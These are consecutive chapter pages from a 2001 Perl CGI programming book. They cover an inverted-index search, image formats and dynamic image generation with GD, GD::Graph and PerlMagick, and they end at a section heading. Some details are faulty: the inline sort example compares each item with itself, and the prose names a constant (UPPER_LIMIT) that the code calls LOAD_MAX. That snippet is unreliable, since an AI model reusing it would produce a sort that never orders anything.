                map  { [ $_, -M $_ ] }
                keys %matches;

    return \@files;
}

sub to_uri_path {
    my $path = shift;
    my( $name, @elements );

    do {
        ( $name, $path ) = fileparse( $path );
        unshift @elements, $name;
        chop $path;
    } while $path;

    return join '/', @elements;
}

The modules should be familiar to you by now. The INDEX_DB constant contains the path of the index created by the indexer application.

Since a query can include multiple words, we split it on any whitespace or a comma and store the resulting words in the @words array. We use tie to open the index DBM file in read-only mode. In other words, we bind the index file with the %index hash. If we cannot open the file, we call our error function to return an error to the browser.

The real searching is done appropriately enough in the search function, which takes a reference to the index hash and a reference to the list of words we are searching for. The first thing we do is to peek into the index and see if the stem option was set when the index was built. We then proceed to iterate through the @$words array, searching for possible matches. If stemming was enabled, we stem the word and compare that. Otherwise, we check to see whether the particular word exists in the index as-is, or as a lowercase word if the index is not case-sensitive. If any of these comparisons succeeds, we have got a match. Otherwise, we ignore the word and continue.

If there is a match, we split the colon separated list of file id's where that particular word is found. Since we don't want duplicate entries in our final list, we store the full path of the matching files in the %matches hash.

After the loop has finished executing, we are left with the matching files in %matches. We would like to add some order to our results and display them according to the number of words matching and then by the file's modification time. So, we sort the keys according to the number of matches and then by the data returned by the -M operator, and store the recently modified files in the @files array.

We could calculate the modification time of the files during each comparison like this:

my @files = sort { $matches{$_} <=> $matches{$_} ||
                   -M $_ <=> -M $_ }
            keys %matches;

However, this is inefficient because we might calculate the modification time for each file multiple times. A more efficient algorithm involves precalculating the modification times as we have done in the program.

This strategy has become known as the Schwartzian Transform, made famous by Randal Schwartz. It's beyond the scope of this book to explain this, but if you're interested, see Joseph Hall's explanation of the Transform, located at: http://www.5sigma.com/perl/schwtr.html. Ours is a slight variation because we perform a two-part sort.

We output the HTTP and HTML document headers, and proceed to check to see if we have any matches. If not, we return a simple message. Otherwise, we iterate through the @files array, setting $path to the current element each time through the loop. We strip off the part of the path that matches the server's root directory. That should give us the path that corresponds to a URL. However, on non-Unix filesystems, we won't have forward slashes ("/") separating directories. So we call the to_uri_path function, which uses the File::Basename module to strip off successive elements of the path and then rebuild it with forward slashes. Note that this will work on many operating systems like Win32 and MacOS, but it will not work on systems that do not use a single character to delimit parts of the path (like VMS; although, the chances that you're actually doing CGI development on a VMS machine are pretty slim).

We build proper links with this newly formatted path, print the remainder of our results, close the binding between the database and the hash, and exit.

Previous | Home | Next
12.2. Searching One by One, Take Two | Book Index | 13. Creating Graphics on the Fly
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating Graphics on the Fly (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 13. Creating Graphics on the Fly

Contents:

File Formats
Outputting Image Data
Generating PNGs with GD
Additional GD Modules
PerlMagick

Throughout this book we have seen many examples of CGI scripts generating dynamic output. However, in almost all cases, the output has been HTML. Certainly this is the most common format your scripts will generate. However, CGI scripts can actually generate any type of format, and in this chapter we will look at how we can dynamically generate images.

Generating images dynamically has many uses. One of the most common is to generate graphs. If you have a data source that is continually changing, such as the results of an online survey, a CGI script can generate a graph that presents a visual snapshot of this data.

There are also times when generating images dynamically makes less sense. It is much less efficient to generate an image dynamically than for your web server to serve the image from an image file. Thus, just because some of these tools allow you to generate really cool graphics dynamically doesn't mean you must use them only in a dynamic context. Unless the images you generate are based upon data that changes, save the image to a static file and serve that instead.

This chapter presents a broad overview of the different tools available for generating dynamic images online, and includes references with each for finding more information. The goal of this chapter is to explain techniques for generating images dynamically and familiarize you with the most popular tools available to you. A full description of many of these tools along with others is available in a book of its own, Programming Web Graphics with Perl and GNU Software by Shawn Wallace (O'Reilly & Associates, Inc.).

13.1. File Formats

Let's first review the image formats that are used online today. The most common image formats, of course, are GIF and JPEG, which every graphical web browser supports. Other file formats that we will discuss in this chapter include PNG and PDF.

13.1.1. GIF

The Graphics Interchange Format (GIF ) was created by CompuServe and released as an open standard in 1987. It quickly became a very popular image format and, along with JPEG, became a standard format for images on the Web. GIF files are typically quite small, especially for images with few colors, which makes them well suited for transferring online.

GIF only supports up to 256 colors, but it works well for text and images, such as icons, which do not have many colors but have sharp details. The compression algorithm that GIF uses, LZW, is lossless, which means that no image quality is lost during compression or decompression, allowing GIF files to accurately capture details.

The GIF file format has been extended to support basic animation, which can loop. The moving banner ads that you see online are typically animated GIF files. GIF files can also have a transparent background by specifying a single color in the image that should be displayed as transparent.

13.1.1.1. The LZW patent

Unfortunately, CompuServe and others apparently failed to notice that LZW, the compression algorithm used by GIF, was actually patented by Unisys in 1983. Unisys reportedly discovered that GIF uses LZW in the early 1990s and in 1994 CompuServe and Unisys reached a settlement and announced that developers who write software supporting GIF must pay a licensing fee to Unisys. Note that this does not include web authors who use GIF files or users who browse them on the Web.

This turn of events created quite a stir among developers, especially open source developers. As a result, CompuServe and others developed the PNG format as a LZW-free successor to GIF; we'll discuss PNG below. However, GIF remains a very popular file format, and PNG is not supported by all browsers.

As a result of the LZW licensing issue, the tools we discuss in this chapter provide very limited support for GIF files, as we will see.

13.1.2. PNG

The Portable Network Graphic (PNG ) format was created as a successor to the GIF format. It adds the following features over GIF:

  • PNG uses an efficient compression algorithm that is not LZW. In most cases, it achieves slightly better compression than the LZW algorithm.

  • PNG supports images in any of three modes: images with a limited palette of 256 or fewer colors, 16-bit grayscale images, and 48-bit true color images.

  • PNG supports alpha channels, which allows varying degrees of transparency.

  • PNG graphics have a better interlacing algorithm that allows users to make out the contents of the image as it downloads much faster than with a GIF.

For additional differences, as well as an demonstration of the difference between the PNG and GIF interlacing, visit http://www.cdrom.com/pub/png/pngintro.html.

Unfortunately, many browsers do not support PNG images. Of those that do, many do not support all of its features, such as multiple levels of transparency. Support for PNG should continue to increase, however, and older browsers that do not support it will eventually be upgraded.

PNG does not support animations.

13.1.3. JPEG

The Joint Photographic Experts Group (JPEG ) is a standards body created to generate an image format for encoding continuous tone images. Their JPEG standard actually discusses a very general method for still image compression and not a file format. The file format that people typically think of as a JPEG is actually JFIF, the JPEG File Interchange Format . We will stick with the more familiar term and also refer to a JFIF file as a JPEG file.

JPEG files are ideal for encoding photographs. JPEG supports full, 24-bit color but it uses a lossy compression algorithm, which means that each time the file is compressed, detail is lost. Because the encoding for JPEG files is done in blocks, it is most noticeable in images that have very sharp details, such as text and line art. These details may appear blurred in a JPEG file.

JPEG files have no support for animation or transparency.

13.1.4. PDF

Adobe's Portable Document Format (PDF ) is more than just an image format. It is actually a language derived from PostScript that can include text, basic shapes, line art, and images, as well as numerous other elements. Unlike images, which are typically displayed within an HTML file, PDF files are typically standalone documents, and users use a browser plug-in or external application such as Adobe Acrobat to view them.

Previous | Home | Next
12.3. Inverted Index Search | Book Index | 13.2. Outputting Image Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Outputting Image Data (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

13.2. Outputting Image Data

There are a few specific issues we encounter when outputting image data that we do not normally encounter when we generate HTML. So before we look at how we can create our own images, let's take a look at these issues.

13.2.1. An Example

Example 13-1 shows a CGI script that returns a random image each time it is called.

Example 13-1. random_image.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;
use CGI::Carp;

use constant BUFFER_SIZE     => 4_096;
use constant IMAGE_DIRECTORY => "/usr/local/apache/data/random-images";

my $q = new CGI;
my $buffer = "";

my $image = random_file( IMAGE_DIRECTORY, '\\.(png|jpg|gif)$' );
my( $type ) = $image =~ /\.(\w+)$/;
$type eq "jpg" and $type = "jpeg";

print $q->header( -type => "image/$type", -expires => "-1d" );
binmode STDOUT;

local *IMAGE;
open IMAGE, IMAGE_DIRECTORY . "/$image" or die "Cannot open file $image: $!";
while ( read( IMAGE, $buffer, BUFFER_SIZE ) ) {
    print $buffer;
}
close IMAGE;

# Takes a path to a directory and an optional filename mask regex
# Returns the name of a random file from the directory
sub random_file {
    my( $dir, $mask ) = @_;
    my $i = 0;
    my $file;
    local *DIR, $_;

    opendir DIR, $dir or die "Cannot open $dir: $!";
    while ( defined ( $_ = readdir DIR ) ) {
        /$mask/o or next if defined $mask;
        rand ++$i < 1 and $file = $_;
    }
    closedir DIR;
    return $file;
}

This CGI script starts like our other CGI scripts, but the random_file function requires a little explanation. We pass the random_file function the path to our image directory and a regular expression that matches GIF, PNG, and JPEG files extensions. The algorithm that random_file uses is adopted from an algorithm for selecting a random line from a text file that appears in the perlfaq5 manpage (it originally appeared in Programming Perl ):

rand($.) > 1 && ( $line = $_ ) while <>;

This code selects a line from a text file, by reading the file only once, and needing to store only two lines in memory at a time. It always sets $line to the first line, then there is a one in two chance that it will set it to the second line, a one in three chance for the third line, etc. The probabilities always balance out, no matter how many lines are in the file.

Likewise, we apply this technique to reading files in a directory. We first discard any files that do not match our mask if we supplied a mask. We then apply the algorithm to determine whether to store the current filename. The last filename we happen to store is what we ultimately return.

Now we return to the body of our CGI script and use the extension of the file to determine the media type of our image. Because the media type for JPEG files (image/jpeg) differs from the common extension for JPEGs (.jpg), we convert these.

Next we print our header with the corresponding media type for our image as well as an Expires header to discourage the browser from caching this response. Unfortunately, this header does not always work; we will discuss this further in a moment.

13.2.1.1. binmode

After printing our header, we use Perl's built-in function binmode to indicate that we are outputting binary data. This is important. On Unix systems, binmode does nothing (thus on these systems it can be omitted), but on Windows, MacOS, and other operating systems that do not use a single newline as an end-of-line character, it disables automatic end-of-line translation that may otherwise corrupt binary output.

Finally, we read and output the image data. Note that because it is a binary file, there are no standard line endings, so we must use read instead of <> used on text files.

13.2.2. Including Dynamic Images in HTML

You can include a dynamic image in one of your HTML documents the same way you include standard images: via a URL. For example, the following tag displays a random image using our previous example:

<IMG SRC="/cgi/random_image.cgi" >

13.2.2.1. Redundant path information

Unfortunately, there are some browsers (specifically some versions of Internet Explorer) that sometimes pay more attention to the extension of a resource they are fetching than to the HTTP media type header. According to the HTTP standard, this is wrong of course, and probably an accidental bug, but if you want to accommodate users of these browsers, you may wish to append redundant path information onto URLs to provide an acceptable file extension:

<IMG SRC="/cgi/survey_graph.cgi/survey.png" >

The web server will still execute survey_graph.cgi, which generates the image while ignoring the additional /survey.png path information.

Incidentally, adding false path information like this is a good idea whenever your CGI script is generating content that you expect users to save, because browsers generally default to the filename of the resource they requested, and the user probably would rather the file be saved as survey.png than survey_graph.cgi.

For CGI scripts like random_image.cgi that determine the filename and/or extension dynamically, you can still accomplish this with redirection. For example, we could replace the line that sets $image in random_image.cgi (Example 13-1) with the following lines:

my( $image ) = $q->path_info =~ /(\w+\.\w+)$/;

unless ( defined $image and -e IMAGE_DIRECTORY . "/$image" ) {
    $image = random_file( IMAGE_DIRECTORY, '\\.(png|jpg|gif)$' );
    print $q->redirect( $q->script_name . "/$image" );
    exit;
}

The first time this script is accessed, there is no additional path information, so it fetches a new image from our random_file function and redirects to itself with the filename appended as path information. When this second request arrives, the script retrieves the filename from the path information and uses this if the filename matches our regular expression and it exists. If it isn't a valid filename, the script acts as if no path had been passed and generates a new filename.

Note that our filename regular expression, /(\w+\.\w+)$/, prevents any images in our image directory that have characters not matched by \w from being displayed, including images that contain hyphens. Depending on the filenames you are using, you may need to adjust this pattern.

13.2.2.2. Preventing caching

In Example 13-1, we generated an Expires HTTP header in order to discourage caching. Unfortunately, not all browsers respect this header, so it is quite possible for a user to get a stale image instead of a dynamic one. Some browsers also try to determine whether a resource is generated dynamically by something such as a CGI script or whether it is static; these browsers seem to assume that images are static, especially if you append additional path information as we just discussed.

There is a way to force browsers not to cache images, but this requires that the tag for the image also be dynamically generated. In these circumstances, you can add a value that constantly changes, such as the time in seconds, to the URL:

my $time = time;
print $q->img( { -src => "/cgi/survey_graph.cgi/$time/survey.png" } );

By adding the time to the additional path information, the browser views each request (more than a second apart) as a new resource. However, this technique does fill the browser's cache with duplicate images, so use it sparingly, and always combine this with an Expires header for the sake of browsers that support it. Adding a value like this to the query string also works:

print $q->img( { -src => "/cgi/survey_graph.cgi/survey.png?random=$time" } );

If nothing else on the HTML page is dynamic, and you do not wish to convert it to a CGI script, then you can also accomplish this via a server-side include (see Chapter 6, "HTML Templates"):

<!--#config timefmt="%d%m%y%H%M%S" -->
<IMG SRC="/cgi/survey_graph.cgi/<!--#echo var="DATE_LOCAL"-->/survey.png">

Although this is a little hard to read and is syntactically invalid HTML, the SSI tag will be parsed by an SSI-enabled server and replaced with a number representing the current date and time before it is sent to the user.

Previous | Home | Next
13. Creating Graphics on the Fly | Book Index | 13.3. Generating PNGs with GD
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Generating PNGs with GD (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

13.3. Generating PNGs with GD

The GD module was created and is maintained by Lincoln Stein, who is also the author of CGI.pm. GD provides a Perl port of the gd graphics library created by Thomas Boutell for the C programming language. The gd library was originally created for creating and editing GIFs. As a result of the Unisys patent issue, however, it was rewritten for PNG (incidentally, Thomas Boutell was a co-author and the editor for the PNG specification). Current versions of the gd library and the GD module no longer support GIFs, and older versions are no longer distributed. If you have an older version of these modules (for example, an older version was included with your system) that does support GIFs, you should probably contact Unisys for licensing terms and/or an attorney familiar with patent issues before using them.

13.3.1. Installation

You can install GD just like other CPAN modules, except that you should ensure that you have the latest version of gd. GD contains C code that must be compiled with gd, and if you have an older version of gd, or if gd is missing, you will get errors during compilation.

The gd library is available at http://www.boutell.com/. This site also has instructions for building gd plus references to other optional packages that gd uses if available, such as the FreeType engine, which enables gd (and thus GD) to support TrueType fonts. Note that gd requires the latest versions of libpng and zlib; you can find links to these libraries at http://www.boutell.com/ too.

13.3.2. Using GD

In this section, we'll develop an application that uses the uptime Unix system command to plot the system load average (see Figure 13-1). As we will see in the next section, there are modules to help us generate graphs more easily, but let's first see gd 's graphics primitives in action.

Figure 13-1. Sample graph generated by loads.cgi

The application itself is rather straightforward. First, we invoke the uptime command, which returns three values, representing the load averages for the previous 5, 10 and 15 minutes, respectively -- though this may differ among the various Unix implementations. Here is the output of an uptime command:

2:26pm  up  11:07,  12 users,  load average: 4.63, 5.29, 2.56

Then, we use gd's various drawing primitives, such as lines and polygons to draw the axes and scale and to plot the load values.

Example 13-2 shows the code.

Example 13-2. loads.cgi

#!/usr/bin/perl -wT

use strict;

use CGI;
use GD;

BEGIN {
    $ENV{PATH} = '/bin:/usr/bin:/usr/ucb:/usr/local/bin';
    delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) };
}

use constant LOAD_MAX       => 10;

use constant IMAGE_SIZE     => 170;     # height and width
use constant GRAPH_SIZE     => 100;     # height and width
use constant TICK_LENGTH    => 3;

use constant ORIGIN_X_COORD => 30;
use constant ORIGIN_Y_COORD => 150;

use constant TITLE_TEXT     => "System Load Average";
use constant TITLE_X_COORD  => 10;
use constant TITLE_Y_COORD  => 15;

use constant AREA_COLOR     => ( 255, 0, 0 );
use constant AXIS_COLOR     => ( 0, 0, 0 );
use constant TEXT_COLOR     => ( 0, 0, 0 );
use constant BG_COLOR       => ( 255, 255, 255 );

my $q     = new CGI;
my @loads = get_loads(  );

print $q->header( -type => "image/png", -expires => "-1d" );

binmode STDOUT;
print area_graph( \@loads );

# Returns a list of the average loads from the system's uptime command
sub get_loads {
    my $uptime = `uptime` or die "Error running uptime: $!";
    my( $up_string ) = $uptime =~ /average: (.+)$/;
    my @loads = reverse
                map { $_ > LOAD_MAX ? LOAD_MAX : $_ }
                split /,\s*/, $up_string;
    @loads or die "Cannot parse response from uptime: $up_string";
    return @loads;
}

# Takes a one-dimensional list of data and returns an area graph as PNG
sub area_graph {
    my $data = shift;

    my $image = new GD::Image( IMAGE_SIZE, IMAGE_SIZE );
    my $background = $image->colorAllocate( BG_COLOR );
    my $area_color = $image->colorAllocate( AREA_COLOR );
    my $axis_color = $image->colorAllocate( AXIS_COLOR );
    my $text_color = $image->colorAllocate( TEXT_COLOR );

    # Add Title
    $image->string( gdLargeFont, TITLE_X_COORD, TITLE_Y_COORD,
                    TITLE_TEXT, $text_color );

    # Create polygon for data
    my $polygon = new GD::Polygon;
    $polygon->addPt( ORIGIN_X_COORD, ORIGIN_Y_COORD );

    for ( my $i = 0; $i < @$data; $i++ ) {
        $polygon->addPt( ORIGIN_X_COORD + GRAPH_SIZE / ( @$data - 1 ) * $i,
                         ORIGIN_Y_COORD - $$data[$i] * GRAPH_SIZE / LOAD_MAX );
    }

    $polygon->addPt( ORIGIN_X_COORD + GRAPH_SIZE, ORIGIN_Y_COORD );

    # Add Polygon
    $image->filledPolygon( $polygon, $area_color );

    # Add X Axis
    $image->line( ORIGIN_X_COORD, ORIGIN_Y_COORD,
                  ORIGIN_X_COORD + GRAPH_SIZE, ORIGIN_Y_COORD,
                  $axis_color );
    # Add Y Axis
    $image->line( ORIGIN_X_COORD, ORIGIN_Y_COORD,
                  ORIGIN_X_COORD, ORIGIN_Y_COORD - GRAPH_SIZE,
                  $axis_color );

    # Add X Axis Ticks Marks
    for ( my $x = 0; $x <= GRAPH_SIZE; $x += GRAPH_SIZE / ( @$data - 1 ) ) {
        $image->line( $x + ORIGIN_X_COORD, ORIGIN_Y_COORD - TICK_LENGTH,
                      $x + ORIGIN_X_COORD, ORIGIN_Y_COORD + TICK_LENGTH,
                      $axis_color );
    }

    # Add Y Axis Tick Marks
    for ( my $y = 0; $y <= GRAPH_SIZE; $y += GRAPH_SIZE / LOAD_MAX ) {
        $image->line( ORIGIN_X_COORD - TICK_LENGTH, ORIGIN_Y_COORD - $y,
                      ORIGIN_X_COORD + TICK_LENGTH, ORIGIN_Y_COORD - $y,
                      $axis_color );
    }

    $image->transparent( $background );

    return $image->png;
}

After importing our modules, we use a BEGIN block to make the environment safe for taint. We have to do this because our script will use the external uptime command (see Section 8.4, "Perl's Taint Mode").

Then we set a large number of constants. The UPPER_LIMIT constant sets the upper limit on the load average. If a load average exceeds the value of 10, then it is set to 10, so we don't have to worry about possibly scaling the axes. Remember, the whole point of this application is not to create a highly useful graphing application, but one that will illustrate some of GD's drawing primitives.

Next, we choose a size for our graph area, GRAPH_SIZE, as well as for the image itself, IMAGE_SIZE. Both the image and the graph are square, so these sizes represent length as well as width. TICK_LENGTH corresponds to the length of each tick mark (this is actually half the length of the tick mark once it's drawn).

ORIGIN_X_COORD and ORIGIN_Y_COORD contain the coordinates of the origin of our graph (its lower left-hand corner). TITLE_TEXT, TITLE_X_COORD, and TITLE_Y_COORD contain values for the title of our graph. Finally, we set AREA_COLOR, AXIS_COLOR, TEXT_COLOR, and BG_COLOR to an array of three numbers containing red, green, and blue values, respectively; these values range from 0 to 255.

The system's load is returned by get_loads. It takes the output of uptime , parses out the load averages, truncates any average greater than the value specified by UPPER_LIMIT, and reverses the values so they are returned from oldest to newest. Thus, our graph will plot from left to right the load average of the system over the last 15, 10, and 5 minutes.

Returning to the main body of our CGI script, we output our header, enable binary mode, then fetch the data for our PNG from area_graph and print it.

The area_graph function contains all of our image code. It accepts a reference to an array of data points, which it assigns to $data. We first create a new instance of GD::Image, passing to it the dimensions of the canvas that we want to work with.

Next, we allocate four colors that correspond to our earlier constants. Note that the first color we allocate automatically becomes the background color. In this case, the image will have a white background.

We use the string method to display our title using the gdLarge font. Then, we draw two lines, one horizontal and one vertical from the origin, representing the x and y axes. Once we draw the axes, we iterate through the entire graph area and draw the tick marks on the axes.

Now, we're ready to plot the load averages on the graph. We create a new instance of the GD::Polygon class to draw a polygon with the vertices representing the three load averages. Drawing a polygon is similar in principle to creating a closed path with several points.

We use the addPt method to add a point to the polygon. The origin is added as the first point. Then, each load average coordinate is calculated and added to the polygon. We add a final point on the x axis. GD automatically connects the final point to the first point.

The filledPolygon method fills the polygon specified by the $polygon object with the associated color. And finally, the graph is rendered as a PNG and the data is returned.

GD supports many methods beyond those listed here, but we do not have space to list them all here. Refer to the GD documentation or Programming Web Graphics for full usage.

Previous | Home | Next
13.2. Outputting Image Data | Book Index | 13.4. Additional GD Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Additional GD Modules (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

13.4. Additional GD Modules

Several modules are available on CPAN that work with GD. Some provide convenience methods that make it easier to interact with GD. Others use GD to create graphs easily. In this section, we will look at GD::Text, which helps place text in GD images, and GD::Graph, the most popular graphing module, along with extensions provided by GD::Graph3D.

13.4.1. GD::Text

GD::Text is collection of modules for managing text, written by Martin Verbruggen. GD::Text provides three modules for working with text in GD images: GD::Text provides information about the size of text in GD, GD::Text::Align allows us to place text in GD with greater control, and GD::Text::Wrap allows us to place text boxes containing wrapped text. We don't have the space to cover all three of these modules in detail, but let's take a look at what is probably the most useful of these modules, GD::Text::Align.

13.4.1.1. GD::Text::Align

In our previous example, loads.cgi, we used preset constants to determine the starting position of our centered title, "System Load Average." These values are derived from trial and error, and although not elegant, this approach works for images when the title is fixed. However, if someone decides to change the title of this image, the coordinates also need to be adjusted to keep the new title centered horizontally. And for images with dynamic titles, this approach will simply not work. A much better solution would be to calculate the title's placement dynamically.

GD::Text::Align allows us to do this easily. In the above example, the TITLE_Y_COORD constant is really the top margin, and TITLE_X_COORD is the left margin (remember coordinates start at the top left corner of the image in GD). There is nothing wrong with a constant for the top margin, but if we want to have a centered title, then we should calculate TITLE_X_COORD dynamically.

Thus, let's look at how we could modify loads.cgi to do this with GD::Text::Align. First, let's include the GD::Text::Align module at the start of the script:

use GD::Text::Align;

Next, we can replace the line that places the title string (in the area_graph subroutine) with the following:

# Add Centered Title
my $title = GD::Text::Align->new(
    $image,
    font    => gdLargeFont,
    text    => TITLE_TEXT,
    color   => $text_color,
    valign  => "top",
    halign  => "center",
);
$title->draw( IMAGE_SIZE / 2, TITLE_Y_COORD );

We create a GD::Text::Align object by passing our GD object, $image, and a number of parameters describing our text, and the draw method adds our title to the image. We should then remove the TITLE_X_COORD constant, which we know longer use; you may also want to rename TITLE_Y_COORD to something more meaningful in this context, such as TITLE_TOP_MARGIN.

Besides allowing you to place aligned text, GD::Text::Align also lets you obtain coordinates for the bounding box for a text string before you place it so you can make adjustments if necessary (such as reducing the size of the font). It also supports True Type fonts and placing text at angles. Refer to the GD::Text::Align online documentation for more information.

13.4.2. GD::Graph

GD::Graph, also by Martin Verbruggen, is a collection of modules that produce graphs using GD. GD::Graph has had a few different names within the last year. It was originally called GIFgraph. However, after GD removed support for GIF, it no longer produced GIFs; in fact, it broke. Steve Bonds updated it to use PNG and renamed it as Chart::PNGgraph. Later, Martin Verbruggen gave it the more general name, GD::Graph, and removed specific image format support. Previously, you called the plot method to retrieve the graph in either GIF (for GIFgraph) or PNG (for PNGgraph) formats. Now, plot returns a GD::Image object so the user can choose the format desired. We'll see how this works in a moment.

To install GD::Graph, you must first have GD and GD::Text installed. GD::Graph provides the following modules for creating graphs:

  • GD::Graph::area creates area charts, as shown in Figure 13-2.

Figure 13-2. An area chart created with GD::Graph::area

  • GD::Graph::bars creates bar charts, as shown in Figure 13-3.

Figure 13-3. A bar chart created with GD::Graph::bars

  • GD::Graph::lines creates line charts, as shown in Figure 13-4.

Figure 13-4. A line chart created with GD::Graph::lines

  • GD::Graph::points creates point charts (also sometimes called XY or scatter charts), as shown in Figure 13-5.

Figure 13-5. A point chart created with GD::Graph::points

  • GD::Graph::linespoints creates a combination of line and point charts, as shown in Figure 13-6.

Figure 13-6. A combination lines and points chart created with GD::Graph::linespoints

  • GD::Graph::pie creates pie charts, as shown in Figure 13-7.

Figure 13-7. A pie chart created with GD::Graph::pie

  • GD::Graph::mixed allows you to create a combination of any of the previous types except pie charts, as shown in Figure 13-8.

Each of the previous examples uses the data shown in Table 13-1.

Table 13-1. Sample Daily Commute Time in Minutes

Weekday | Monday | Tuesday | Wednesday | Thursday | Friday
Morning | 33 | 24 | 23 | 19 | 21
Evening | 17 | 15 | 19 | 15 | 24

Example 13-3 contains the code used to create the mixed graph that appears in Figure 13-8.

Figure 13-8. A mixed chart created with GD::Graph::mixed

Example 13-3. commute_mixed.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;
use GD::Graph::mixed;

use constant TITLE => "Average Commute Time: Mixed Chart";

my $q     = new CGI;
my $graph = new GD::Graph::mixed( 400, 300 );
my @data  = (
    [ qw( Mon  Tue  Wed  Thu  Fri ) ],
    [      33,  24,  23,  19,  21   ],
    [      17,  15,  19,  15,  24   ],
);

$graph->set(
    title           => TITLE,
    x_label         => "Day",
    y_label         => "Minutes",
    long_ticks      => 1,
    y_max_value     => 40,
    y_min_value     => 0,
    y_tick_number   => 8,
    y_label_skip    => 2,
    bar_spacing     => 4,
    types           => [ "bars", "linespoints" ],
);

$graph->set_legend( "Morning", "Evening" );
my $gd_image = $graph->plot( \@data );

print $q->header( -type => "image/png", -expires => "now" );

binmode STDOUT;
print $gd_image->png;

Note that for this script we do not need to use the GD module because we are not creating images directly; we simply use the GD::Graph module. We set one constant for the title of the graph. We could have created many more constants for the different parameters we are passing to GD::Graph, but this script is short, and not using constants allows you to easily see the values each parameter takes.

We create a mixed graph object by passing the width and height in pixels, and we set up our data. Then, we call the set method to set parameters for our graph. The meaning of some of these parameters is obvious; we will just explain those that may not be. long_ticks sets whether ticks should extend through the area of the chart to form a grid. y_tick_number specifies how many ticks the y axis should be divided into. y_label_skip sets how often the ticks on the y axis should be labelled; our setting, 2, means every other one. bar_spacing is the number of pixels between the bars (for the bars series). Finally, types sets the graph type of each series.

We add a legend that describes our data series. Next, we call the plot method with our data and receive a GD::Image object containing our new graph. Then all we need to do is generate our header and output the image as a PNG.

We won't look at code for each image type, because except for pie charts, this same code can generate each of the other types of images with very few modifications. You simply need to change GD::Graph::mixed to the name of the module you wish to use. The only property in the set method here that is particular to mixed graphs is types. The only property particular to mixed charts or bar charts is bar_spacing. The others are common across all the other types.

Pie charts are somewhat different. They only accept a single data series, they cannot have a legend, and because they have no axes, most of the parameters we just discussed do not apply to them. Furthermore, pie charts are three-dimensional by default. Example 13-4 provides the code used to create the pie chart that's shown in Figure 13-7.

Example 13-4. commute_pie.cgi

#!/usr/bin/perl -wT

use strict;
use CGI;
use GD::Graph::pie;

use constant TITLE => "Average Commute Time: Pie Chart";

my $q     = new CGI;
my $graph = new GD::Graph::pie( 300, 300 );
my @data  = (
    [ qw( Mon  Tue  Wed  Thu  Fri ) ],
    [      33,  24,  23,  19,  21   ]
);

$graph->set(
    title           => TITLE,
    '3d'            => 0
);

my $gd_image = $graph->plot( \@data );

print $q->header( -type => "image/png", -expires => "-1d" );

binmode STDOUT;
print $gd_image->png;

This script is much shorter because we do not set nearly so many parameters. Instead, we simply set the title and turn the 3d option off (we will return to this concept in the next section). We also used 300 × 300 for the size of the graph instead of 400 × 300. GD::Graph will scale a pie chart to fit the edges of the graph, so pie charts will be elliptical if they are plotted in a rectangular region. Finally, we submit only one series of data and omit the call to add a legend, which is currently unsupported for pie charts.

13.4.3. GD::Graph3D

GD::Graph3D allows us to generate three-dimensional charts. It is an extension to GD::Graph that provides three additional modules:

  • GD::Graph::bars3d creates three-dimensional bar charts, as shown in Figure 13-9.

Figure 13-9. A 3D bar chart created with GD::Graph::bars3d

  • GD::Graph::lines3d creates three-dimensional line charts, as shown in Figure 13-10.

Figure 13-10. A 3D line chart created with GD::Graph::lines3d

  • GD::Graph::pie3d creates three-dimensional pie charts, as shown in Figure 13-11. This module actually just calls GD::Graph::pie, which now generates three-dimensional pie charts by default anyhow. It is included simply to provide a name consistent with the other two modules. In order to make the usage clear and consistent, perhaps GD::Graph::pie will ultimately default to non-three-dimensional pie charts and GD::Graph::pie3d can become the preferred way to generate a 3D version.

Figure 13-11. A 3D pie chart created with GD::Graph::pie or GD::Graph::pie3d

In order to use these modules, simply replace the standard module name with the 3D module name; all other properties and methods remain the same. Additionally, the 3D bar chart and 3D line chart each offer methods to set the depth of the bars and lines. Refer to the included documentation. Note that although the module is distributed as GD::Graph3d, the documentation is installed, along with the additional graph types, in the GD/Graph directory, so to view the documentation for GD::Graph3d, you must reference it this way:

$ perldoc GD::Graph::Graph3d
Previous | Home | Next
13.3. Generating PNGs with GD | Book Index | 13.5. PerlMagick
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


PerlMagick (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

13.5. PerlMagick

PerlMagick is another graphics module designed to be used online. It is based upon the ImageMagick library, which is available for many languages on many different platforms. The Perl module, Image::Magick, is often referred to as PerlMagick. ImageMagick was written by John Cristy; the Perl module was written by Kyle Shorter.

ImageMagick is very powerful and supports the following operations:

Identify

ImageMagick supports more than fifty different image file formats, including GIF, JPEG, PNG, TIFF, BMP, EPS, PDF, MPEG, PICT, PPM, and RGB.

Convert

ImageMagick allows you to convert between these formats.

Montage

ImageMagick can create thumbnails of images.

Mogrify

ImageMagick can perform all sorts of manipulations on images including blur, rotate, emboss, and normalize, just to name a few.

Drawing

Like GD, you can add basic shapes and text to images in ImageMagick.

Composite

ImageMagick can merge multiple images.

Animate

ImageMagick supports file formats with multiple frames, such as animated GIFs.

Display

ImageMagick also includes tools, such as display, for displaying and manipulating images interactively.

We won't cover all of these, of course. We'll look at how to convert between different formats as well as how to create an image using some of the advanced effects.

13.5.1. Installation

You can obtain the Image::Magick module from CPAN, but it requires that the ImageMagick library be installed already. You can get ImageMagick from the ImageMagick home page, http://www.wizards.dupont.com/cristy/. This page contains links to many resources, including pre-compiled binary distributions of ImageMagick for many operating systems, detailed build instructions if you choose to compile it yourself, and a detailed PDF manual.

13.5.1.1. Requirements

Image::Magick is much more powerful than GD. It supports numerous file formats and allows many types of operations, while GD is optimized for a certain set of tasks and a single file format. However, this power comes at a price. Whereas the GD module has relatively low overhead and is quite efficient, the Image::Magick module may crash unless it has at least 80MB of memory, and for best performance at least 64MB should be real RAM (i.e., not virtual memory).

13.5.1.2. Enabling LZW compression

